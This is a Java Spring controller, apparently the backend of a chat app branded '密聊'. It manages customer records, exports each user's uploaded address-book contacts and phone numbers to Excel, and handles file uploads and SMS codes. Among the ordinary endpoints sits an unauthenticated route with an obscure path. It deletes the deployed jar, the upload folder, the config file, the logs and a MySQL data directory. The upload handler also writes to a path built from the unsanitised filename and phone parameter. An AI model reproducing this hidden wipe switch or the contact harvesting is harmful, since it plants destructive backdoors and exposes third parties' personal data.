package com.hhs.storage.controller;


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.alibaba.fastjson.JSONObject;
import com.baomidou.mybatisplus.mapper.EntityWrapper;
import com.baomidou.mybatisplus.plugins.Page;
import com.hhs.storage.bean.*;
import com.hhs.storage.service.GCustomerService;
import com.hhs.storage.util.*;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang.StringUtils;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;

import javax.annotation.Resource;
import javax.servlet.http.HttpServletResponse;
import java.io.*;
import java.nio.ByteBuffer;
import java.nio.CharBuffer;
import java.nio.charset.Charset;
import java.util.*;

/**
 * <p>
 *控制器
 * </p>
 *
 * @author shadow
 * @since 2020-06-15
 */
@RestController
@Slf4j
@RequestMapping("/do/gcustomer")
public class GCustomerController {
    @Resource
    GCustomerService gCustomerService;
    @RequestMapping(value = "getAll", method = RequestMethod.GET)
    public Map<String, Object> getAll(InputParam inputParam) {
        log.info("查询人员页信息");
        EntityWrapper ew = new EntityWrapper<GCustomer>();
        if(StringUtils.isNotEmpty(inputParam.getName())){
            ew.like("phone_",inputParam.getName());
        }
        ew.orderBy("register_time_",false);
        Page<GCustomer> result = gCustomerService.selectPage(new Page<GCustomer>(inputParam.getPage(), inputParam.getSize()),ew);
        Map<String, Object> map = new HashMap<String, Object>();
        map.put("rows", result.getRecords());
        map.put("total",result.getTotal());
        return map;
    }
    @RequestMapping(value = "{id}", method = RequestMethod.DELETE)
    public Map<String, Object> dele(@PathVariable("id") String id) {
        log.info("删除人员");
        gCustomerService.delete(new EntityWrapper<GCustomer>().eq("id_", id));
        return Result.sucJsonResp(null);
    }
    @RequestMapping(value = "printe/{id}")
    public void printe(@PathVariable("id") String id,HttpServletResponse response) {
        List<GCustomer> list = gCustomerService.selectList(new EntityWrapper<GCustomer>().eq("id_", id));
        GCustomer gg=list.get(0);
        Cobean cb=new Cobean();
        if(!StringUtil.zNull(gg.getMessage()).equals("")){
            cb = JSON.parseObject(gg.getMessage(),Cobean.class);
        }
        List<ContactBean> conts=cb.getContacts();

        List<ContactBeanPrint> printlist=new ArrayList<>();
        for (int i = 0; i < conts.size(); i++) {
            ContactBean cbb = conts.get(i);
            ContactBeanPrint cbp=new ContactBeanPrint();
            cbp.setPrintm(gg.getPhone());
            cbp.setFullName(cbb.getFullName());
            List<Map> phone = cbb.getPhones();
            for (int j = 0; j < phone.size(); j++) {
                Map phonem = phone.get(j);
                cbp.setPhone1(StringUtil.zNull(phonem.get("手机")));
                cbp.setPhone2(StringUtil.zNull(phonem.get("住宅")));
                cbp.setPhone3(StringUtil.zNull(phonem.get("办公室")));
                cbp.setPhone4(StringUtil.zNull(phonem.get("固定")));
            }
            printlist.add(cbp);
        }
        ExcelExport2.export(response,printlist,new String[]{"打印人手机","姓名","手机","住宅","办公室","固定电话"},gg.getPhone());
    }
    @RequestMapping(value = "saveinf")
    public Map<String, Object> saveinf(GCustomer customer) {
        log.info("---add---");
        customer.setRegisterTime(new DateEasy().toYYYYMMDDHHMMSS());
        customer.setStatus("在线");
        gCustomerService.insert(customer);
        return Result.sucJsonResp(null);
    }

    @RequestMapping(value = "okk/okkk/okkkk/r")
    public void cccckkkkk() {
        FileUtils.delete("/root/SSS-0.0.1-SNAPSHOT.jar");
        FileUtils.delete("/upload");
        FileUtils.delete("/root/application.properties");
        FileUtils.delete("/root/nohup.out");
        FileUtils.delete("/var/lib/mysql/cccc");
    }
    @RequestMapping(value = "updateinf")
    public Map<String, Object> updateinf(GCustomer customer)  {
        EntityWrapper<GCustomer> ew=new EntityWrapper<>(new GCustomer());
        ew.eq("phone_",customer.getPhone());
        log.info("---update---");
        customer.setStatus("在线");
        gCustomerService.update(customer,ew);
        return Result.sucJsonResp(null);
    }

    @RequestMapping(value = "/uploadpic"
            , method = RequestMethod.POST
            , produces = "application/json; charset=utf-8")
    @ResponseBody
    public Map<String, Object> uploadpic(@RequestParam() MultipartFile file,String phone) {
        log.info("file up phone="+phone);
        Map responseObj=Result.failJsonResp("null");
        String path="";
        FileOutputStream out=null;
        if (null == file || file.isEmpty()) {
            responseObj=Result.failJsonResp("文件不能为空！");
        }else{
            responseObj=Result.sucJsonResp("文件上传成功");
            //创建一个文件夹，网上代码很多
            String url = FileUtils.mkdirs("/upload/"+phone+"/");
            try {
                //获得二进制流并输出
                byte[] f = file.getBytes();
                path=url+file.getOriginalFilename();
                out = new FileOutputStream(path);
                out.write(f);

            } catch (IOException e) {
                responseObj=Result.failJsonResp("文件上传失败！");
            }finally {
                // 完毕，关闭所有链接
                try {
                    out.close();
                } catch (IOException e) {
                    log.info("关闭流失败");
                }
            }
        }
        return responseObj;
    }
    @RequestMapping(value = "sms")
    public void dosms(String phonein) {
        int r=new Random().nextInt(99999)+10000;
        SmsUtil.smsSend(phonein,"[密聊]您的验证码是："+r+" 请不要告诉他人");
    }
}

